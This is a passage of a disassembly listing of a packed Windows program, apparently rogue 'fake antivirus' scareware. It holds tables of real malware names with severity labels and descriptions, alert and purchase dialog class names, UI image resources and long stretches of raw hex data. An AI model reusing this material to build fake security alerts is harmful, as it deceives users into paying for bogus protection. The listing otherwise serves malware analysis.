dd offset aMedium_1 ; "Medium" dd offset aCategoryAdwa_1 ; "Category Adware: Software that display"... dd offset aDisablekey ; "DisableKey" dd offset aMedium_2 ; "Medium" dd offset aCategoryAdwa_2 ; "Category Adware: Software that display"... dd offset aEmogen_b ; "Emogen.B" dd offset aMedium_3 ; "Medium" dd offset aCategoryBackdo ; "Category Backdoor: It is a critical vul"... dd offset aMoonlight_v ; "MoonLight.V" dd offset aHigh_2 ; "High" dd offset aCategoryWormIt ; "Category Worm: Its main objective is to"... dd offset aAutorun_aol ; "Autorun.AOL" dd offset aHigh_3 ; "High" dd offset aCategoryWorm_0 ; "Category Worm: It spreads exploiting th"... dd offset aSinowal_vxr ; "Sinowal.VXR" dd offset aVeryHigh_2 ; "Very High" dd offset aCategoryTrojan ; "Category Trojan: It is designed to obta"... dd offset aAntivirus360 ; "Antivirus360" dd offset aHigh_4 ; "High" dd offset aCategoryAdwa_3 ; "Category Adware: It deceives users and "... dd offset aBankerfox_a ; "BankerFox.A" dd offset aMedium_4 ; "Medium" dd offset aCategoryTroj_0 ; "Category Trojan: It is designed to stea"... dd offset aP2pshared_u ; "P2PShared.U" dd offset aHigh_5 ; "High" dd offset aCategoryWorm_1 ; "Category Worm: Its main objective is to"... dd offset aBittera_c ; "BitTera.C" dd offset aCritical_3 ; "Critical" dd offset aCategoryVirusI ; "Category Virus: It is a malicious tool "... dd offset aAzero_b ; "Azero.B" dd offset aHigh_6 ; "High" dd offset aCategoryViru_0 ; "Category Virus: It modifies the Desktop"... dd offset aSality_an ; "Sality.AN" dd offset aCritical_4 ; "Critical" dd offset aCategoryViru_1 ; "Category Virus: It infects executable f"... dd offset aWinwebsecurity ; "WinWebSecurity2008" dd offset aMedium_5 ; "Medium" dd offset aCategoryAdwa_4 ; "Category Adware: It deceives users and "... dd offset aDownloader_js_ ; "Downloader.JS.Small.fi" dd offset aHigh_7 ; "High" dd offset aCategoryTroj_1 ; "Category Trojan: This Trojan downloads "... dd offset aPsw_win32_onli ; "PSW.Win32.OnLineGames.sxa" dd offset aMedium_6 ; "Medium" dd offset aCategoryTroj_2 ; "Category Trojan: This malicious program"... dd offset aDownloader_win ; "Downloader_Win32_Agent.nmi" dd offset aCritical_5 ; "Critical" dd offset aCategoryTroj_3 ; "Category Trojan: This Trojan downloads "... dd offset dword_4225FC+0E0h dd offset aHigh_8 ; "High" dd offset aCategoryTroj_4 ; "Category Trojan: This Trojan downloads "... dd offset aDownloader_j_0 ; "Downloader.JS.Agent.sg" dd offset aMedium_7 ; "Medium" dd offset aCategoryTroj_5 ; "Category Trojan: This Trojan downloads "... dd offset aGamethief_win3 ; "GameThief.Win32.OnLineGames.tnys" dd offset aMedium_8 ; "Medium" dd offset aCategoryTroj_6 ; "Category Trojan: This Trojan is designe"... dd offset aPsw_win32_on_0 ; "PSW.Win32.OnLineGames.rlh" dd offset aHigh_9 ; "High" dd offset aCategoryTroj_7 ; "Category Trojan: This malicious program"... dd offset aDownloader_w_0 ; "Downloader.Win32.Delf.cgx" dd offset aHigh_10 ; "High" dd offset aCategoryTroj_8 ; "Category Trojan: This Trojan downloads "... dd offset dword_423144+158h dd offset aHigh_11 ; "High" dd offset aCategoryBack_0 ; "Category Backdoor: This Trojan provides"... off_42DBF0 dd offset aAazalirt ; DATA XREF: sub_417692:loc_41770Br ; "aazalirt" dd offset aSkaaanret ; "skaaanret" dd offset aJungertab ; "jungertab" dd offset aZibaglertz ; "zibaglertz" dd offset aIddqdops ; "iddqdops" dd offset aRonitfst ; "ronitfst" dd offset aTobmygers ; "tobmygers" dd offset aJikglond ; "jikglond" dd offset aTobykke ; "tobykke" dd offset aKlopnidret ; "klopnidret" dd offset aJiklagka ; "jiklagka" dd offset aSalrtybek ; "salrtybek" dd offset aSeeukluba ; "seeukluba" dd offset aJrjakdsd ; "jrjakdsd" dd offset aKrkdkdkee ; "krkdkdkee" dd offset aDkewiizkjdks ; "dkewiizkjdks" dd offset aDkekkrkska ; "dkekkrkska" dd offset aRkaskssd ; "rkaskssd" dd offset aKuruhccdsdd ; "kuruhccdsdd" dd offset aKrujmmwlrra ; "krujmmwlrra" dd offset aKkwknrbsggeg ; "kkwknrbsggeg" dd offset aKtknamwerr ; "ktknamwerr" dd offset aIqmcnoeqz ; "iqmcnoeqz" dd offset aIenotas ; "ienotas" dd offset aKrkmahejdk ; "krkmahejdk" dd offset aOtpeppggq ; "otpeppggq" dd offset aKrtawefg ; "krtawefg" dd offset aOranerkka ; "oranerkka" dd offset aKitiiwhaas ; "kitiiwhaas" dd offset aOtowjdseww ; "otowjdseww" dd offset aOtnnbektre ; "otnnbektre" dd offset aOropbbsee ; "oropbbsee" dd offset aIrprokwks ; "irprokwks" dd offset aOoorjaas ; "ooorjaas" off_42DC78 dd offset off_41D588 ; DATA XREF: UPX0:00424DC4o ; UPX0:00425B4Co ... align 10h a_?avexception@ db '.?AVexception@std@@',0 off_42DC94 dd offset off_41D588 ; DATA XREF: UPX0:00425A3Co ; UPX0:00425A64o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_42DCB4 dd offset off_41D588 ; DATA XREF: UPX0:00425ADCo ; UPX0:00425B00o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 8 a0: ; DATA XREF: sub_404D0B+1Bo unicode 0, <0>,0 dw 0Bh unicode 0, <>,0 dd offset sub_406781 dd 5 dup(0) dd 6, 3 dup(0) dword_42DD08 dd 0 ; sub_404D0B+Cw dd 0 dd 7F00h, 1, 14h dup(0) dword_42DD68 dd 30h, 0Bh, 406781h, 5 dup(0) dd 6, 3 dup(0) dword_42DD98 dd 0 ; sub_404D5C+Cw dd 0 dd 7F00h, 1, 14h dup(0) dword_42DDF8 dd 30h, 0Bh, 406781h, 5 dup(0) dd 6, 3 dup(0) dword_42DE28 dd 0 ; sub_418186+46w dd 0 dd 7F00h, 1, 13h dup(0) off_42DE84 dd offset off_41D588 ; DATA XREF: UPX0:00425A8Co ; UPX0:00425AB4o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_42DEA4 dd offset dword_423B6C ; DATA XREF: sub_401652+4Fo ; sub_401BB2+10Fr off_42DEA8 dd offset dword_42EE94 ; DATA XREF: sub_401BB2+69r word_42DEAC dw 0FFFFh ; DATA XREF: sub_401BB2+7Er word_42DEAE dw 0FFFFh ; DATA XREF: sub_401BB2+87r dword_42DEB0 dd 0 ; sub_401931:loc_401957r ... align 8 dword_42DEB8 dd 0 ; sub_401931+2Fr ... dword_42DEBC dd 0 ; sub_4019F2+2Dw ... off_42DEC0 dd offset off_41D588 ; DATA XREF: UPX0:00425B28o ; UPX0:00425B80o ... align 8 a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0 off_42DEDC dd offset off_41D588 ; DATA XREF: UPX0:00426314o ; UPX0:00426328o ... dd 0 a_?avmaindialog db '.?AVMainDialog@@',0 align 4 off_42DEF8 dd offset off_41D588 ; DATA XREF: UPX0:00426394o ; UPX0:004263A8o ... align 10h a_?avnetalertdi db '.?AVNetAlertDialog@@',0 align 4 off_42DF18 dd offset off_41D588 ; DATA XREF: UPX0:00426414o ; UPX0:00426428o ... align 10h a_?avalertdialo db '.?AVAlertDialog@@',0 align 4 off_42DF34 dd offset off_41D588 ; DATA XREF: UPX0:00426494o ; UPX0:004264A8o ... dd 0 a_?avpurchasedi db '.?AVPurchaseDialog@@',0 align 4 off_42DF54 dd offset off_41D588 ; DATA XREF: UPX0:0042653Co dd 0 a_?auiregistrar db '.?AUIRegistrarBase@@',0 align 4 off_42DF74 dd offset off_41D588 ; DATA XREF: UPX0:00426514o ; UPX0:00426574o dd 0 a_?avcregobject db '.?AVCRegObject@ATL@@',0 align 4 off_42DF94 dd offset off_41D588 ; DATA XREF: UPX0:0042663Co ; UPX0:00426670o dd 0 a_?au_atl_modul db '.?AU_ATL_MODULE70@ATL@@',0 off_42DFB4 dd offset off_41D588 ; DATA XREF: UPX0:00426604o dd 0 a_?avcatlmodule db '.?AVCAtlModule@ATL@@',0 align 4 off_42DFD4 dd offset off_41D588 ; DATA XREF: UPX0:004265C8o dd 0 a_?av?Catlmodul db '.?AV?$CAtlModuleT@VCComModule@ATL@@@ATL@@',0 align 4 off_42E008 dd offset off_41D588 ; DATA XREF: UPX0:0042659Co align 10h a_?avccommodule db '.?AVCComModule@ATL@@',0 align 4 aUs db 'u˜',0 align 4 aSs db 's˜',0 align 10h dword_42E030 dd 400h ; sub_419DAB+44Fr dword_42E034 dd 0FFFFFC01h dword_42E038 dd 35h ; sub_419DAB+178r ... dword_42E03C dd 0Bh ; sub_419DAB+3ACr ... dword_42E040 dd 40h dword_42E044 dd 3FFh ; sub_419DAB:loc_41A210r dword_42E048 dd 80h ; sub_41A2EF+44Fr dword_42E04C dd 0FFFFFF81h dword_42E050 dd 18h ; sub_41A2EF+178r ... dword_42E054 dd 8 ; sub_41A2EF+3ACr ... dword_42E058 dd 20h dword_42E05C dd 7Fh ; sub_41A2EF:loc_41A754r dword_42E060 dd 2 dup(0) ; sub_41AF2B+196o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_42E1C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41A833+37Co ; sub_41AF2B+1BAo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dd 80000000h, 4410h, 1, 80000000h, 3000h dword_42E334 dd 1 ; sub_41BE5A+4Cw align 10h dword_42E340 dd 0 dword_42E344 dd 0 ; sub_40A7A4+3Fw ... dword_42E348 dd 0 ; sub_40A7A4+53r ... dword_42E34C dd 0 ; UPX0:loc_41C8ADo dword_42E350 dd 0 ; sub_404725+4Dr ... dword_42E354 dd 0 dd 0Ch dup(0) dword_42E388 dd 0 ; UPX0:loc_41C8B7o dword_42E38C dd 6 dup(0) ; sub_404725+Bo ... dword_42E3A4 dd 0 ; sub_401441+36w ... dword_42E3A8 dd 3 dup(0) ; sub_404725+179o ... dword_42E3B4 dd 2 dup(0) ; UPX0:loc_41C8C1o dword_42E3BC dd 0 dword_42E3C0 dd 0 dd 6 dup(0) dword_42E3DC dd 0FB2B8ADBh ; sub_40B255+5r dword_42E3E0 dd 0 ; UPX0:loc_41C8CBw ... dd 2 dup(0) dword_42E3EC dd 0 ; sub_40B45F+34w dword_42E3F0 dd 0 ; sub_40F5C7+Fr ... align 8 dword_42E3F8 dd 0 ; sub_413B22+19r ... align 10h dword_42E400 dd 0 ; UPX0:off_41D5ACo dword_42E404 dd 0 dd 0 dword_42E40C dd 0 dd 10h dup(0) dword_42E450 dd 0 ; sub_40C52F+E1r align 8 dword_42E458 dd 0 ; UPX0:0041D5B0o dd 22h dup(0) word_42E4E4 dw 0 ; DATA XREF: sub_40C52F+51w align 4 word_42E4E8 dw 0 ; DATA XREF: sub_40C52F+4Aw align 4 word_42E4EC dw 0 ; DATA XREF: sub_40C52F+43w align 10h word_42E4F0 dw 0 ; DATA XREF: sub_40C52F+3Cw align 4 dword_42E4F4 dd 0 dword_42E4F8 dd 0 dword_42E4FC dd 0 dword_42E500 dd 0 dword_42E504 dd 0 dword_42E508 dd 0 dword_42E50C dd 0 dword_42E510 dd 0 ; sub_40C52F+87r word_42E514 dw 0 ; DATA XREF: sub_40C52F+35w align 4 dword_42E518 dd 0 dword_42E51C dd 0 word_42E520 dw 0 ; DATA XREF: sub_40C52F+2Ew align 4 dd 80h dup(0) dword_42E724 dd 950000h ; sub_40AEA5:loc_40AEBFr ... dword_42E728 dd 148808h, 0FFFFFFFFh, 3 dup(0) ; UPX0:off_42A1B8o dd 0FA0h dword_42E740 dd 148830h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h dword_42E758 dd 148858h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148880h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h dword_42E788 dd 1488A8h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 1488D0h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 1488F8h, 0 dd 1, 6B8h, 0 dd 0FA0h dword_42E7D0 dd 148920h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h dword_42E7E8 dd 148948h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148970h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148998h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h dword_42E830 dd 1489C0h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 1489E8h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148A10h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h dword_42E878 dd 0 ; sub_40D00C+251r ... align 10h dword_42E880 dd 1 dword_42E884 dd 952ED0h dd 0 dword_42E88C dd 952EF0h ; sub_40F5C7:loc_40F68Er ... dword_42E890 dd 0 dword_42E894 dd 0 ; sub_416374+Cr ... dd 0 off_42E89C dd offset aCM_unpackerPac ; DATA XREF: sub_40F83F+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_42E8A4 db 0 ; DATA XREF: sub_40DC14+30w ; sub_4119CD+5r align 4 dword_42E8A8 dd 0 dword_42E8AC dd 0 ; sub_40DC14+FEw dword_42E8B0 dd 6 dup(0) db 0 byte_42E8C9 db 3 dup(0) ; DATA XREF: sub_40DDD8+94o dd 40h dup(0) db 0 byte_42E9CD db 0 ; DATA XREF: sub_40DDD8+9Cw align 10h dd 7Dh dup(0) dword_42EBC4 dd 0FB2B8ADBh ; sub_40DFBC+8w ... dword_42EBC8 dd 0 ; sub_40B8A1+158r ... dword_42EBCC dd 0FB6B6AF0h ; sub_40E0AF+Bw dword_42EBD0 dd 0FB6B6B6Eh ; sub_40E4D8+5Ar ... dword_42EBD4 dd 87AB1D9Bh ; sub_40E4D8+46w ... dword_42EBD8 dd 87AB111Eh ; sub_40E4D8+53w ... dword_42EBDC dd 87AABC0Ch ; sub_40E4D8+67w ... dword_42EBE0 dd 0 dword_42EBE4 dd 0 dword_42EBE8 dd 0 ; sub_40EF2A+2Dr ... align 10h aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40F83F+1Fo ; UPX0:off_42E89Co align 4 dd 3Ah dup(0) byte_42ECF4 db 0 ; DATA XREF: sub_40F83F+26w align 4 dword_42ECF8 dd 1 ; sub_40F8FA+26w ... dword_42ECFC dd 0 dword_42ED00 dd 0 ; sub_411DC7+1Fw ... word_42ED04 dw 0 ; DATA XREF: sub_412028+E7w align 10h dword_42ED10 dd 4E4h dword_42ED14 dd 0 dword_42ED18 dd 0 dword_42ED1C dd 0 ; sub_415847+5r ... dd 8 dup(0) dword_42ED40 dd 0 dword_42ED44 dd 0FB2B8ADBh dword_42ED48 dd 0FB2B8ADBh ; sub_4136C2:loc_41370Bo ... dword_42ED4C dd 0FB2B8ADBh ; sub_4136C2:loc_413761o ... dword_42ED50 dd 0FB2B8ADBh ; sub_4136B5r ... dword_42ED54 dd 0FB2B8ADBh ; sub_4136C2:loc_41376Do ... dd 0 dword_42ED5C dd 0FB2B8ADBh dd 2 dup(0) dword_42ED68 dd 0FB2B8ADBh dword_42ED6C dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+5Cw ... dword_42ED70 dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890:loc_413999r dword_42ED74 dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+126r dword_42ED78 dd 0 ; resolved to->USER32.GetProcessWindowStation ; sub_413890:loc_413941r dword_42ED7C dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+BAr ... dd 0Fh dup(0) dword_42EDBC dd 1 ; sub_414C04+3Cw ... dword_42EDC0 dd 1 ; sub_414FEE+39w ... dword_42EDC4 dd 31h dup(0) ; UPX0:off_42AE08o ... dword_42EE88 dd 0 ; sub_41676F+43w ... byte_42EE8C db 0 ; DATA XREF: sub_40AA1C+18w ; sub_40AA42+96w ... align 10h dword_42EE90 dd 0 ; sub_401BB2+161r ... dword_42EE94 dd 4 dup(0) ; sub_417692+22o ... dword_42EEA4 dd 0 dword_42EEA8 dd 0 ; sub_404725+33w ... dword_42EEAC dd 0 ; sub_404725+3Dw ... dword_42EEB0 dd 80h dup(0) byte_42F0B0 db 0 ; DATA XREF: sub_417588+11r ; sub_417588+B4w ... align 4 dword_42F0B4 dd 0 ; UPX0:0041C815w ... dword_42F0B8 dd 0 dd 2 dup(0) dword_42F0C4 dd 7 dup(0) dword_42F0E0 dd 0 dword_42F0E4 dd 0 ; sub_416FB1+5r ... dword_42F0E8 dd 0 ; sub_407ACF:loc_407B30r word_42F0EC dw 0 ; DATA XREF: sub_407ACF+13w ; sub_407ACF:loc_407B4Fr align 10h dword_42F0F0 dd 0 word_42F0F4 dw 0 ; DATA XREF: sub_407ACF+20w align 4 dword_42F0F8 dd 0 word_42F0FC dw 0 ; DATA XREF: sub_407ACF+29w align 10h dword_42F100 dd 0 word_42F104 dw 0 ; DATA XREF: sub_407ACF+58w align 4 dword_42F108 dd 0 dword_42F10C dd 9 dup(0) dword_42F130 dd 0 byte_42F134 db 0 ; DATA XREF: sub_418F1D:loc_41905Br align 4 dword_42F138 dd 953508h ; sub_41191C+42w ... align 10h dword_42F140 dd 400h dup(0) ; UPX0:0042A458o dword_430140 dd 200h ; sub_41191C:loc_411936w ... dword_430144 dd 1 ; sub_40CA30+28r ... dword_430148 dd 20h ; sub_40FA31+CDw ... dd 5 dup(0) dword_430160 dd 9520B0h ; sub_40FA31+37w ... dd 3Fh dup(0) dword_430260 dd 0 dword_430264 dd 1 ; sub_415A57+5r dword_430268 dd 0FBBEBE5Bh ; sub_40B649+A8w ... dword_43026C dd 0FBBEBE5Bh ; sub_40B649+8Fw ... dword_430270 dd 1 dword_430274 dd 0 ; sub_40DB8F+66o ... dword_430278 dd 0 ; sub_40D00C+2BCr ... dword_43027C dd 0 ; sub_40D00C+2CAr ... dword_430280 dd 0 ; sub_40B8A1+6Cr ... dword_430284 dd 0 ; sub_40D7BB:loc_40D801r ... dword_430288 dd 0 ; sub_40D322:loc_40D357w dword_43028C dd 0 ; sub_40D00C+24Br ... dword_430290 dd 1 ; sub_40AEA5:loc_40AEE0r ... dword_430294 dd 142340h ; sub_40F568:loc_40F57Br ... align 1000h UPX0 ends ; Section 2. (virtual address 00031000) ; Virtual size : 00040000 ( 262144.) ; Section size in file : 00040000 ( 262144.) ; Offset to raw data for section: 00031000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_431000 dd 268h dup(0) dd offset sub_410015+1 aCtivateButtonB: unicode 0, <CTIVATE-BUTTON-BG.GIF> dd offset loc_41000E dd offset dword_45004C dw 52h aTIcon_gif: unicode 0, <T-ICON.GIF> dd offset locret_410014 dd offset dword_45004C aRtIconSmall_gi: unicode 0, <RT-ICON-SMALL.GIF> dw 9 unicode 0, <ARROW.GIF> dd offset dword_42F140+0ED0h dw 4Ch aOseButton_gif: unicode 0, <OSE-BUTTON.GIF> dd offset dword_42F140+0ED5h aOntentHeaderBg: unicode 0, <ONTENT-HEADER-BG.GIF> dd offset dword_42F140+0ED2h aOntentHeader_g: unicode 0, <ONTENT-HEADER.GIF> dd offset dword_42F140+0ED9h dw 4Fh aNtentLeftcolum: unicode 0, <NTENT-LEFTCOLUMN-BG.GIF> dd offset dword_42F140+0EDAh dw 4Fh aNtentRigthcolu: unicode 0, <NTENT-RIGTHCOLUMN-BG.GIF> dd offset dword_42F140+0ED3h aUrrentstateBg_: unicode 0, <URRENTSTATE-BG.GIF> dd offset byte_440011 aOwnloadIcon_jp: unicode 0, <OWNLOAD-ICON.JPG> dw 0Dh unicode 0, <FOOTER-BG.GIF> dw 0Dh unicode 0, <HEADER-BG.GIF> dd 48000Fh, 410045h, 450044h, 2D0052h, 430049h, 4E004Fh dd 47002Eh, 460049h, 4C000Dh, 47004Fh, 2D004Fh, 430049h dd 4E004Fh, 47002Eh, 460049h, 4D000Bh, 4E0045h, 2D0055h dd 470042h, 47002Eh, 460049h, 4D0014h, 4E0045h, 2D0055h dd 470042h, 53002Dh, 4C0045h, 430045h, 450054h, 2E0044h dd 490047h, 90046h, 4F0050h, 4E0049h, 2E0054h, 490047h dd 130046h, 450052h, 55005Ah, 54004Ch, 54002Dh, 420041h dd 45004Ch, 42002Dh, 2E0047h, 490047h, 180046h, 450052h dd 55005Ah, 54004Ch, 54002Dh, 420041h, 45004Ch, 48002Dh dd 410045h, 2D0044h, 470042h, 47002Eh, 460049h, 53001Bh dd 410043h, 45004Eh, 2D0052h, 430041h, 490054h, 4E004Fh dd 42002Dh, 540055h, 4F0054h, 2D004Eh, 470042h, 47002Eh dd 460049h, 530010h, 410043h, 2D004Eh, 410050h, 480054h dd 42002Dh, 2E0047h, 490047h, 120046h, 430053h, 4E0041h dd 50002Dh, 540041h, 2D0048h, 430049h, 4E004Fh, 47002Eh dd 460049h, 530016h, 410043h, 2D004Eh, 410050h, 480054h dd 54002Dh, 54004Fh, 4C0041h, 42002Dh, 2E0047h, 490047h dd 160046h, 430053h, 4E0041h, 50002Dh, 4F0052h, 520047h dd 530045h, 2D0053h, 430049h, 4E004Fh, 47002Eh, 460049h dd 53001Ah, 410043h, 2D004Eh, 520050h, 47004Fh, 450052h dd 530053h, 53002Dh, 410043h, 45004Ch, 42002Dh, 2E0047h dd 490047h, 200046h, 430053h, 4E0041h, 50002Dh, 4F0052h dd 520047h, 530045h, 2D0053h, 430053h, 4C0041h, 2D0045h dd 470042h, 47002Dh, 450052h, 4E0045h, 50002Eh, 47004Eh dd 54000Ch, 420041h, 2D0031h, 490050h, 2E0043h, 490047h dd 0C0046h, 410054h, 320042h, 50002Dh, 430049h, 47002Eh dd 460049h, 54000Ch, 420041h, 2D0033h, 490050h, 2E0043h dd 490047h, 0C0046h, 410054h, 340042h, 50002Dh, 430049h dd 47002Eh, 460049h, 54000Ch, 420041h, 2D0035h, 490050h dd 2E0043h, 490047h, 0F0046h, 500055h, 2D0044h, 410042h dd 450053h, 42002Dh, 2E0047h, 490047h, 140046h, 490056h dd 550052h, 490053h, 46004Eh, 2D004Fh, 430041h, 490054h dd 450056h, 47002Eh, 460049h, 560010h, 520045h, 490053h dd 4E004Fh, 49002Dh, 4F0043h, 2E004Eh, 4E0050h, 140047h dd 480054h, 450052h, 540041h, 2D0053h, 4F0054h, 410054h dd 2D004Ch, 470042h, 47002Eh, 460049h, 50000Bh, 4F0052h dd 450054h, 540043h, 47002Eh, 460049h, 50000Ch, 520055h dd 480043h, 530041h, 2E0045h, 490047h, 130046h, 550050h dd 430052h, 410048h, 450053h, 41002Dh, 540043h, 560049h dd 2E0045h, 490047h, 0F0046h, 550053h, 450052h, 41002Dh dd 540043h, 560049h, 2E0045h, 490047h, 0B0046h, 410057h dd 4E0052h, 4E0049h, 2E0047h, 490047h, 120046h, 410057h dd 4E0052h, 4E0049h, 2D0047h, 430041h, 490054h, 450056h dd 47002Eh, 460049h, 42000Ch, 470049h, 4C0041h, 520045h dd 2E0054h, 490047h, 0C0046h, 45004Eh, 410054h, 45004Ch dd 540052h, 47002Eh, 460049h, 53000Eh, 41004Dh, 4C004Ch dd 4C0041h, 520045h, 2E0054h, 490047h, 0C0046h, 45004Eh dd 410054h, 45004Ch, 540052h, 48002Eh, 4D0054h, 410009h dd 45004Ch, 540052h, 48002Eh, 4D0054h, 48000Ch, 4D0054h dd 4D004Ch, 490041h, 2E004Eh, 540048h, 0C004Dh, 550050h dd 430052h, 410048h, 450053h, 48002Eh, 4D0054h, 4A0002h dd 0E0053h, 540048h, 4C004Dh, 4F0043h, 54004Eh, 4F0052h dd 2E004Ch, 53004Ah, 3 dup(0) dd 38464947h, 0BE6139h, 0F1E7001Ch, 885B00h, 5C0E885Ah dd 895B0089h, 18A5D10h, 5D038B5Eh, 8D5F138Ch, 68E6004h dd 62098F61h, 90610B90h, 0D916319h, 62009265h, 93671A91h dd 1B926300h, 68109365h, 93640094h, 195691Ch, 6A129467h dd 95680396h, 1F956613h, 6B159669h, 976A0697h, 8986C16h dd 6E219769h, 986B2296h, 19996C18h, 6D0C9A6Eh, 986F1B9Ah dd 1C9B6E2Dh, 6F2E9970h, 9D711D9Ch, 149E7212h, 73299C75h dd 9C74159Fh, 2A9D7631h, 762B9E77h, 9F78339Eh, 349F772Ch dd 793B9F75h, 0A17B2DA0h, 2EA17A25h, 7C3DA177h, 0A07D26A2h dd 3EA2783Dh, 7E27A37Dh, 0A47F3EA1h, 46A27E29h, 8039A47Ch dd 0A57D2AA5h, 2BA6813Ah, 8142A583h, 0A68449A5h, 3DA78643h dd 8744A785h, 0A9883EA8h, 4CA9843Fh, 853FAB82h, 0AB894DAAh dd 47AB8840h, 854EAB86h, 0AC8A55ABh, 48AC8941h, 864FAC87h dd 0AD8B56ACh, 44AE8C42h, 8F4AAE8Bh, 0AF8A3DAFh, 3EB09052h dd 8C4CB08Dh, 0B18E53B0h, 62B1904Dh, 8F4FB390h, 0B29556B3h dd 5DB29356h, 9263B291h, 0B59264B3h, 5FB49552h, 9753B694h dd 0B79A61B6h, 62B7985Bh, 995BB994h, 0BB9863B8h, 64BA9A57h dd 995EBA9Dh, 0B99F58BCh, 65BB9B6Bh, 0A06BBB9Ah, 0BC9E6CBAh dd 66BC9C5Fh, 9F72BB9Fh, 0BBA260BDh, 67BD9E6Dh, 0A073BCA0h dd 0BE9F61BEh, 74BDA168h, 0A262BFA1h, 0BEA075BEh, 63C0A27Ch dd 0A56AC0A1h, 0C1A470BFh, 6BC1A264h, 0A771C0A6h, 0C1A372C1h dd 7FC0A97Fh, 0AA73C2A8h, 0C4A78BBFh, 6EC4A567h, 0A980C1AAh dd 0C0AB74C3h, 68C5A88Ch, 0AC81C2ABh, 0C4AA6FC4h, 69C6A975h dd 0AA88C2B0h, 0C5AC7EC6h, 7FC7AB8Ah, 0B085C6AFh, 0C8AE73C8h dd 6CCAAC79h, 0AD91C5B1h, 0C8B16DCBh, 7ACAB087h, 0B36ECCAEh dd 0C9AD93C7h, 82CBAF93h, 0B783CAB6h, 0CEB18FC9h, 89CBB471h dd 0B27DCDB3h, 0CCB572CFh, 78CEB68Ah, 0B991CBB9h, 0CEB786CEh dd 74D0BA8Ch, 0B57AD0B8h, 0CFBA75D2h, 8DCFB887h, 0B799CEB9h dd 0D3B682D1h, 8FD1BA76h, 0B77DD3BBh, 0D2BD77D5h, 96D2B98Ah dd 0BD7ED4BCh, 0D5BD9DD1h, 99D3C17Fh, 0C287D7BDh, 0D4C09AD4h dd 8ED6C2A0h, 0BE81D8C0h, 